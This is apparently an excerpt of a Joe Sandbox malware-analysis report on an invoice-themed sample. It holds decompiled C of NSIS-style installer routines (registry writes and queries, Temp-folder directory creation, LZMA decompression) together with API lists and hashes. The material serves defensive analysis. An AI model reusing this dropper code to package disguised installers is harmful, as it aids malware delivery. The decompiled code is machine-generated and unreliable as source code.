					if(_t35 == 1) {
						E00402BCE(0x23);
						_t22 = lstrlenA(0x40ac08) + 1;
					}
					if(_t35 == 4) {
						 *0x40ac08 = E00402BAC("true");
						 *((intOrPtr*)(_t37 - 0x88)) = _t31;
						_t22 = _t35;
					}
					if(_t35 == 3) {
						_t22 = E004030D8( *((intOrPtr*)(_t37 - 0x1c)), _t28, 0x40ac08, 0xc00);
					}
					_t23 = RegSetValueExA( *(_t37 + 8),  *(_t37 - 0x78), _t28,  *(_t37 - 0x38), 0x40ac08, _t22); // executed
					if(_t23 == 0) {
						 *(_t37 - 4) = _t28;
					}
					_push( *(_t37 + 8));
					RegCloseKey();
				}
				 *0x4247c8 =  *0x4247c8 +  *(_t37 - 4);
				return 0;
			}

0x00402476
0x00402476
0x00402476
0x00402479
0x00402480
0x0040248a
0x0040248d
0x00402496
0x0040249d
0x004024a4
0x004024a7
0x004024ad
0x004024b7
0x004024bb
0x004024c6
0x004024c6
0x004024ca
0x004024d4
0x004024da
0x004024e0
0x004024e0
0x004024e4
0x004024f0
0x004024f0
0x00402501
0x00402509
0x0040250b
0x0040250b
0x0040250e
0x004025e5
0x004025e5
0x00402a5d
0x00402a69

APIs

lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsh295E.tmp,00000023,00000011,?), ref: 004024C1
RegSetValueExA.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsh295E.tmp,00000000,00000011,?), ref: 00402501
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsh295E.tmp,00000000,00000011,?), ref: 004025E5

Strings

C:\Users\user\AppData\Local\Temp\nsh295E.tmp, xrefs: 004024B2, 004024C0, 004024D4, 004024EB, 004024F6

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: CloseValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsh295E.tmp
API String ID: 2655323295-2748113605
Opcode ID: 1523202bd684759b15d3ef51d1612ea9539c16efe9f466cdefb067e6e1646809
Instruction ID: f8ac89c5eddf20255a64599a8c35fdda00ac4070600c31cba318713478050a06
Opcode Fuzzy Hash: 1523202bd684759b15d3ef51d1612ea9539c16efe9f466cdefb067e6e1646809
Instruction Fuzzy Hash: A311B171E00214AFEF10AFA5CE49EAE7A74EB40314F21803AF505F71C1C6B89D419B28

Uniqueness

Uniqueness Score: -1.00%

Function 004015BB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E004015BB(char __ebx, void* __eflags) {
				void* _t13;
				int _t19;
				char _t21;
				void* _t22;
				char _t23;
				signed char _t24;
				char _t26;
				CHAR* _t28;
				char* _t32;
				void* _t33;

				_t26 = __ebx;
				_t28 = E00402BCE(0xfffffff0);
				_t13 = E00405AF2(_t28);
				_t30 = _t13;
				if(_t13 != __ebx) {
					do {
						_t32 = E00405A84(_t30, 0x5c);
						_t21 =  *_t32;
						 *_t32 = _t26;
						 *((char*)(_t33 + 0xb)) = _t21;
						if(_t21 != _t26) {
							L5:
							_t22 = E0040572B(_t28);
						} else {
							_t39 =  *((intOrPtr*)(_t33 - 0x20)) - _t26;
							if( *((intOrPtr*)(_t33 - 0x20)) == _t26 || E00405748(_t39) == 0) {
								goto L5;
							} else {
								_t22 = E004056AE(_t28); // executed
							}
						}
						if(_t22 != _t26) {
							if(_t22 != 0xb7) {
								L9:
								 *((intOrPtr*)(_t33 - 4)) =  *((intOrPtr*)(_t33 - 4)) + 1;
							} else {
								_t24 = GetFileAttributesA(_t28); // executed
								if((_t24 & 0x00000010) == 0) {
									goto L9;
								}
							}
						}
						_t23 =  *((intOrPtr*)(_t33 + 0xb));
						 *_t32 = _t23;
						_t30 = _t32 + 1;
					} while (_t23 != _t26);
				}
				if( *((intOrPtr*)(_t33 - 0x24)) == _t26) {
					_push(0xfffffff5);
					E00401423();
				} else {
					E00401423(0xffffffe6);
					E004060C1("C:\\Users\\Arthur\\AppData\\Local\\Temp\\valgmuligheder\\devirnr\\Lselystens143", _t28);
					_t19 = SetCurrentDirectoryA(_t28); // executed
					if(_t19 == 0) {
						 *((intOrPtr*)(_t33 - 4)) =  *((intOrPtr*)(_t33 - 4)) + 1;
					}
				}
				 *0x4247c8 =  *0x4247c8 +  *((intOrPtr*)(_t33 - 4));
				return 0;
			}

0x004015bb
0x004015c2
0x004015c5
0x004015ca
0x004015ce
0x004015d0
0x004015d8
0x004015da
0x004015dc
0x004015e0
0x004015e3
0x004015fb
0x004015fc
0x004015e5
0x004015e5
0x004015e8
0x00000000
0x004015f3
0x004015f4
0x004015f4
0x004015e8
0x00401603
0x0040160a
0x00401617
0x00401617
0x0040160c
0x0040160d
0x00401615
0x00000000
0x00000000
0x00401615
0x0040160a
0x0040161a
0x0040161d
0x0040161f
0x00401620
0x004015d0
0x00401627
0x00401652
0x004022dd
0x00401629
0x0040162b
0x00401636
0x0040163c
0x00401644
0x0040164a
0x0040164a
0x00401644
0x00402a5d
0x00402a69

APIs

Part of subcall function 00405AF2: CharNextA.USER32(?,?,vesicorectal.sku,?,00405B5E,vesicorectal.sku,vesicorectal.sku,764B3410,?,C:\Users\user\AppData\Local\Temp\,004058A9,?,764B3410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405B00
Part of subcall function 00405AF2: CharNextA.USER32(00000000), ref: 00405B05
Part of subcall function 00405AF2: CharNextA.USER32(00000000), ref: 00405B19

GetFileAttributesA.KERNELBASE(00000000,00000000,00000000,0000005C,00000000,000000F0), ref: 0040160D

Part of subcall function 004056AE: CreateDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 004056F1

SetCurrentDirectoryA.KERNELBASE(00000000,C:\Users\user\AppData\Local\Temp\valgmuligheder\devirnr\Lselystens143,00000000,00000000,000000F0), ref: 0040163C

Strings

C:\Users\user\AppData\Local\Temp\valgmuligheder\devirnr\Lselystens143, xrefs: 00401631

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID: C:\Users\user\AppData\Local\Temp\valgmuligheder\devirnr\Lselystens143
API String ID: 1892508949-13139423
Opcode ID: 449cdc4e664ca224a8f4b5777abc43241c6a080200f4575ba897a93c6ca8edfb
Instruction ID: 89ad01db463442aa800da85bb51449bf5fbab0d3eae07559ae4194fd3409cb5d
Opcode Fuzzy Hash: 449cdc4e664ca224a8f4b5777abc43241c6a080200f4575ba897a93c6ca8edfb
Instruction Fuzzy Hash: 05110831604051DBCF307FA54D409BF37B4DE92725B28067FE491B22D3DA3D49426A2E

Uniqueness

Uniqueness Score: -1.00%

Function 00405FA8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44
registryCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E00405FA8(void* __ecx, void* __eflags, intOrPtr _a4, int _a8, char* _a12, char* _a16, signed int _a20) {
				int _v8;
				long _t21;
				long _t24;
				char* _t30;

				asm("sbb eax, eax");
				_v8 = 0x400;
				_t21 = E00405F47(__eflags, _a4, _a8,  ~_a20 & 0x00000100 | 0x00020019,  &_a20); // executed
				_t30 = _a16;
				if(_t21 != 0) {
					L4:
					 *_t30 =  *_t30 & 0x00000000;
				} else {
					_t24 = RegQueryValueExA(_a20, _a12, 0,  &_a8, _t30,  &_v8);
					_t21 = RegCloseKey(_a20);
					_t30[0x3ff] = _t30[0x3ff] & 0x00000000;
					if(_t24 != 0 || _a8 != 1 && _a8 != 2) {
						goto L4;
					}
				}
				return _t21;
			}

0x00405fb6
0x00405fb8
0x00405fd0
0x00405fd5
0x00405fda
0x00406017
0x00406017
0x00405fdc
0x00405fee
0x00405ff9
0x00405fff
0x00406009
0x00000000
0x00000000
0x00406009
0x0040601c

APIs

RegQueryValueExA.ADVAPI32(?,?,00000000,?,?,00000400,Call,?,?,?,?,?,Call,?,0040625D,80000002), ref: 00405FEE
RegCloseKey.ADVAPI32(?,?,0040625D,80000002,Software\Microsoft\Windows\CurrentVersion,Call,Call,Call,?,Skipped: C:\Users\user\AppData\Local\Temp\nsh295E.tmp\System.dll), ref: 00405FF9

Strings

Call, xrefs: 00405FAB, 00405FDF

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: CloseQueryValue
String ID: Call
API String ID: 3356406503-1824292864
Opcode ID: 4cc92a42e5629c7bbcd5378a5bb523b692adcb537e29c9598c16d659ab369d15
Instruction ID: bc2ee3056b47e5ed157b0296f64e65c5d928d18fe46a96bfb4a95e0d5f896fcd
Opcode Fuzzy Hash: 4cc92a42e5629c7bbcd5378a5bb523b692adcb537e29c9598c16d659ab369d15
Instruction Fuzzy Hash: C7015A72540209AADF22CF61CC09FDB3BA8EF95364F01403AF955A6190D778D964DFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00406BF3 Relevance: 5.2, APIs: 4, Instructions: 236
COMMON

Download Yara Rule

C-Code - Quality: 99%

			E00406BF3() {
				signed int _t530;
				void _t537;
				signed int _t538;
				signed int _t539;
				unsigned short _t569;
				signed int _t579;
				signed int _t607;
				void* _t627;
				signed int _t628;
				signed int _t635;
				signed int* _t643;
				void* _t644;

				L0:
				while(1) {
					L0:
					_t530 =  *(_t644 - 0x30);
					if(_t530 >= 4) {
						_push("true");
					}
					 *(_t644 - 0x40) = 6;
					 *(_t644 - 0x7c) = 0x19;
					 *((intOrPtr*)(_t644 - 0x58)) = (_t530 << 7) +  *(_t644 - 4) + 0x360;
					while(1) {
						L145:
						 *(_t644 - 0x50) = 1;
						 *(_t644 - 0x48) =  *(_t644 - 0x40);
						while(1) {
							L149:
							if( *(_t644 - 0x48) <= 0) {
								goto L155;
							}
							L150:
							_t627 =  *(_t644 - 0x50) +  *(_t644 - 0x50);
							_t643 = _t627 +  *((intOrPtr*)(_t644 - 0x58));
							 *(_t644 - 0x54) = _t643;
							_t569 =  *_t643;
							_t635 = _t569 & 0x0000ffff;
							_t607 = ( *(_t644 - 0x10) >> 0xb) * _t635;
							if( *(_t644 - 0xc) >= _t607) {
								 *(_t644 - 0x10) =  *(_t644 - 0x10) - _t607;
								 *(_t644 - 0xc) =  *(_t644 - 0xc) - _t607;
								_t628 = _t627 + 1;
								 *_t643 = _t569 - (_t569 >> 5);
								 *(_t644 - 0x50) = _t628;
							} else {
								 *(_t644 - 0x10) = _t607;
								 *(_t644 - 0x50) =  *(_t644 - 0x50) << 1;
								 *_t643 = (0x800 - _t635 >> 5) + _t569;
							}
							if( *(_t644 - 0x10) >= 0x1000000) {
								L148:
								_t487 = _t644 - 0x48;
								 *_t487 =  *(_t644 - 0x48) - 1;
								L149:
								if( *(_t644 - 0x48) <= 0) {
									goto L155;
								}
								goto L150;
							} else {
								L154:
								L146:
								if( *(_t644 - 0x6c) == 0) {
									L169:
									 *(_t644 - 0x88) = 0x18;
									L170:
									_t579 = 0x22;
									memcpy( *(_t644 - 0x90), _t644 - 0x88, _t579 << 2);
									_t539 = 0;
									L172:
									return _t539;
								}
								L147:
								 *(_t644 - 0x10) =  *(_t644 - 0x10) << 8;
								 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
								_t484 = _t644 - 0x70;
								 *_t484 =  &(( *(_t644 - 0x70))[1]);
								 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
								goto L148;
							}
							L155:
							_t537 =  *(_t644 - 0x7c);
							 *((intOrPtr*)(_t644 - 0x44)) =  *(_t644 - 0x50) - (1 <<  *(_t644 - 0x40));
							while(1) {
								L140:
								 *(_t644 - 0x88) = _t537;
								while(1) {
									L1:
									_t538 =  *(_t644 - 0x88);
									if(_t538 > 0x1c) {
										break;
									}
									L2:
									switch( *((intOrPtr*)(_t538 * 4 +  &M00407061))) {
										case 0:
											L3:
											if( *(_t644 - 0x6c) == 0) {
												goto L170;
											}
											L4:
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
											_t538 =  *( *(_t644 - 0x70));
											if(_t538 > 0xe1) {
												goto L171;
											}
											L5:
											_t542 = _t538 & 0x000000ff;
											_push(0x2d);
											asm("cdq");
											_pop(_t581);
											_push("true");
											_pop(_t582);
											_t638 = _t542 / _t581;
											_t544 = _t542 % _t581 & 0x000000ff;
											asm("cdq");
											_t633 = _t544 % _t582 & 0x000000ff;
											 *(_t644 - 0x3c) = _t633;
											 *(_t644 - 0x1c) = (1 << _t638) - 1;
											 *((intOrPtr*)(_t644 - 0x18)) = (1 << _t544 / _t582) - 1;
											_t641 = (0x300 << _t633 + _t638) + 0x736;
											if(0x600 ==  *((intOrPtr*)(_t644 - 0x78))) {
												L10:
												if(_t641 == 0) {
													L12:
													 *(_t644 - 0x48) =  *(_t644 - 0x48) & 0x00000000;
													 *(_t644 - 0x40) =  *(_t644 - 0x40) & 0x00000000;
													goto L15;
												} else {
													goto L11;
												}
												do {
													L11:
													_t641 = _t641 - 1;
													 *((short*)( *(_t644 - 4) + _t641 * 2)) = 0x400;
												} while (_t641 != 0);
												goto L12;
											}
											L6:
											if( *(_t644 - 4) != 0) {
												GlobalFree( *(_t644 - 4)); // executed
											}
											_t538 = GlobalAlloc(0x40, 0x600); // executed
											 *(_t644 - 4) = _t538;
											if(_t538 == 0) {
												goto L171;
											} else {
												 *((intOrPtr*)(_t644 - 0x78)) = 0x600;
												goto L10;
											}
										case 1:
											L13:
											__eflags =  *(_t644 - 0x6c);
											if( *(_t644 - 0x6c) == 0) {
												L157:
												 *(_t644 - 0x88) = 1;
												goto L170;
											}
											L14:
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											 *(_t644 - 0x40) =  *(_t644 - 0x40) | ( *( *(_t644 - 0x70)) & 0x000000ff) <<  *(_t644 - 0x48) << 0x00000003;
											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
											_t45 = _t644 - 0x48;
											 *_t45 =  *(_t644 - 0x48) + 1;
											__eflags =  *_t45;
											L15:
											if( *(_t644 - 0x48) < 4) {
												goto L13;
											}
											L16:
											_t550 =  *(_t644 - 0x40);
											if(_t550 ==  *(_t644 - 0x74)) {
												L20:
												 *(_t644 - 0x48) = 5;
												 *( *(_t644 - 8) +  *(_t644 - 0x74) - 1) =  *( *(_t644 - 8) +  *(_t644 - 0x74) - 1) & 0x00000000;
												goto L23;
											}
											L17:
											 *(_t644 - 0x74) = _t550;
											if( *(_t644 - 8) != 0) {
												GlobalFree( *(_t644 - 8)); // executed
											}
											_t538 = GlobalAlloc(0x40,  *(_t644 - 0x40)); // executed
											 *(_t644 - 8) = _t538;
											if(_t538 == 0) {
												goto L171;
											} else {
												goto L20;
											}
										case 2:
											L24:
											_t557 =  *(_t644 - 0x60) &  *(_t644 - 0x1c);
											 *(_t644 - 0x84) = 6;
											 *(_t644 - 0x4c) = _t557;
											_t642 =  *(_t644 - 4) + (( *(_t644 - 0x38) << 4) + _t557) * 2;
											goto L132;
										case 3:
											L21:
											__eflags =  *(_t644 - 0x6c);
											if( *(_t644 - 0x6c) == 0) {
												L158:
												 *(_t644 - 0x88) = 3;
												goto L170;
											}
											L22:
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											_t67 = _t644 - 0x70;
											 *_t67 =  &(( *(_t644 - 0x70))[1]);
											__eflags =  *_t67;
											 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
											L23:
											 *(_t644 - 0x48) =  *(_t644 - 0x48) - 1;
											if( *(_t644 - 0x48) != 0) {
												goto L21;
											}
											goto L24;
										case 4:
											L133:
											_t559 =  *_t642;
											_t626 = _t559 & 0x0000ffff;
											_t596 = ( *(_t644 - 0x10) >> 0xb) * _t626;
											if( *(_t644 - 0xc) >= _t596) {
												 *(_t644 - 0x10) =  *(_t644 - 0x10) - _t596;
												 *(_t644 - 0xc) =  *(_t644 - 0xc) - _t596;
												 *(_t644 - 0x40) = 1;
												_t560 = _t559 - (_t559 >> 5);
												__eflags = _t560;
												 *_t642 = _t560;
											} else {
												 *(_t644 - 0x10) = _t596;
												 *(_t644 - 0x40) =  *(_t644 - 0x40) & 0x00000000;
												 *_t642 = (0x800 - _t626 >> 5) + _t559;
											}
											if( *(_t644 - 0x10) >= 0x1000000) {
												goto L139;
											} else {
												goto L137;
											}
										case 5:
											L137:
											if( *(_t644 - 0x6c) == 0) {
												L168:
												 *(_t644 - 0x88) = 5;
												goto L170;
											}
											L138:
											 *(_t644 - 0x10) =  *(_t644 - 0x10) << 8;
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
											 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
											L139:
											_t537 =  *(_t644 - 0x84);
											L140:
											 *(_t644 - 0x88) = _t537;
											goto L1;
										case 6:
											L25:
											__edx = 0;
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												L36:
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) = 1;
												 *(__ebp - 0x84) = 7;
												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											L26:
											__eax =  *(__ebp - 0x5c) & 0x000000ff;
											__esi =  *(__ebp - 0x60);
											__cl = 8;
											__cl = 8 -  *(__ebp - 0x3c);
											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
											__ecx =  *(__ebp - 0x3c);
											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
											__ecx =  *(__ebp - 4);
											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
											__eflags =  *(__ebp - 0x38) - 4;
											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											if( *(__ebp - 0x38) >= 4) {
												__eflags =  *(__ebp - 0x38) - 0xa;
												if( *(__ebp - 0x38) >= 0xa) {
													_t98 = __ebp - 0x38;
													 *_t98 =  *(__ebp - 0x38) - 6;
													__eflags =  *_t98;
												} else {
													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
												}
											} else {
												 *(__ebp - 0x38) = 0;
											}
											__eflags =  *(__ebp - 0x34) - __edx;
											if( *(__ebp - 0x34) == __edx) {
												L35:
												__ebx = 0;
												__ebx = 1;
												goto L61;
											} else {
												L32:
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__ecx =  *(__ebp - 8);
												__ebx = 0;
												__ebx = 1;
												__al =  *((intOrPtr*)(__eax + __ecx));
												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
												goto L41;
											}
										case 7:
											L66:
											__eflags =  *(__ebp - 0x40) - 1;
											if( *(__ebp - 0x40) != 1) {
												L68:
												__eax =  *(__ebp - 0x24);
												 *(__ebp - 0x80) = 0x16;
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												__eax =  *(__ebp - 0x2c);
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xa;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
												__eax =  *(__ebp - 4);
												__eax =  *(__ebp - 4) + 0x664;
												__eflags = __eax;
												 *(__ebp - 0x58) = __eax;
												goto L69;
											}
											L67:
											__eax =  *(__ebp - 4);
											__ecx =  *(__ebp - 0x38);
											 *(__ebp - 0x84) = 8;
											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
											goto L132;
										case 8:
											L70:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xa;
												__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
											} else {
												__eax =  *(__ebp - 0x38);
												__ecx =  *(__ebp - 4);
												__eax =  *(__ebp - 0x38) + 0xf;
												 *(__ebp - 0x84) = 9;
												 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
												__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
											}
											goto L132;
										case 9:
											L73:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												goto L90;
											}
											L74:
											__eflags =  *(__ebp - 0x60);
											if( *(__ebp - 0x60) == 0) {
												goto L171;
											}
											L75:
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											_t259 =  *(__ebp - 0x38) - 7 >= 0;
											__eflags = _t259;
											0 | _t259 = _t259 + _t259 + 9;
											 *(__ebp - 0x38) = _t259 + _t259 + 9;
											goto L76;
										case 0xa:
											L82:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												L84:
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xb;
												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											L83:
											__eax =  *(__ebp - 0x28);
											goto L89;
										case 0xb:
											L85:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__ecx =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x20);
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
											} else {
												__eax =  *(__ebp - 0x24);
											}
											__ecx =  *(__ebp - 0x28);
											 *(__ebp - 0x24) =  *(__ebp - 0x28);
											L89:
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x2c) = __eax;
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											L90:
											__eax =  *(__ebp - 4);
											 *(__ebp - 0x80) = 0x15;
											__eax =  *(__ebp - 4) + 0xa68;
											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
											goto L69;
										case 0xc:
											L99:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L164:
												 *(__ebp - 0x88) = 0xc;
												goto L170;
											}
											L100:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t334 = __ebp - 0x70;
											 *_t334 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t334;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											__eax =  *(__ebp - 0x2c);
											goto L101;
										case 0xd:
											L37:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L159:
												 *(__ebp - 0x88) = 0xd;
												goto L170;
											}
											L38:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t122 = __ebp - 0x70;
											 *_t122 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t122;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L39:
											__eax =  *(__ebp - 0x40);
											__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
											if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
												goto L48;
											}
											L40:
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												goto L54;
											}
											L41:
											__eax =  *(__ebp - 0x5b) & 0x000000ff;
											 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
											__ecx =  *(__ebp - 0x58);
											__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
											 *(__ebp - 0x48) = __eax;
											__eax = __eax + 1;
											__eax = __eax << 8;
											__eax = __eax + __ebx;
											__esi =  *(__ebp - 0x58) + __eax * 2;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edx = __ax & 0x0000ffff;
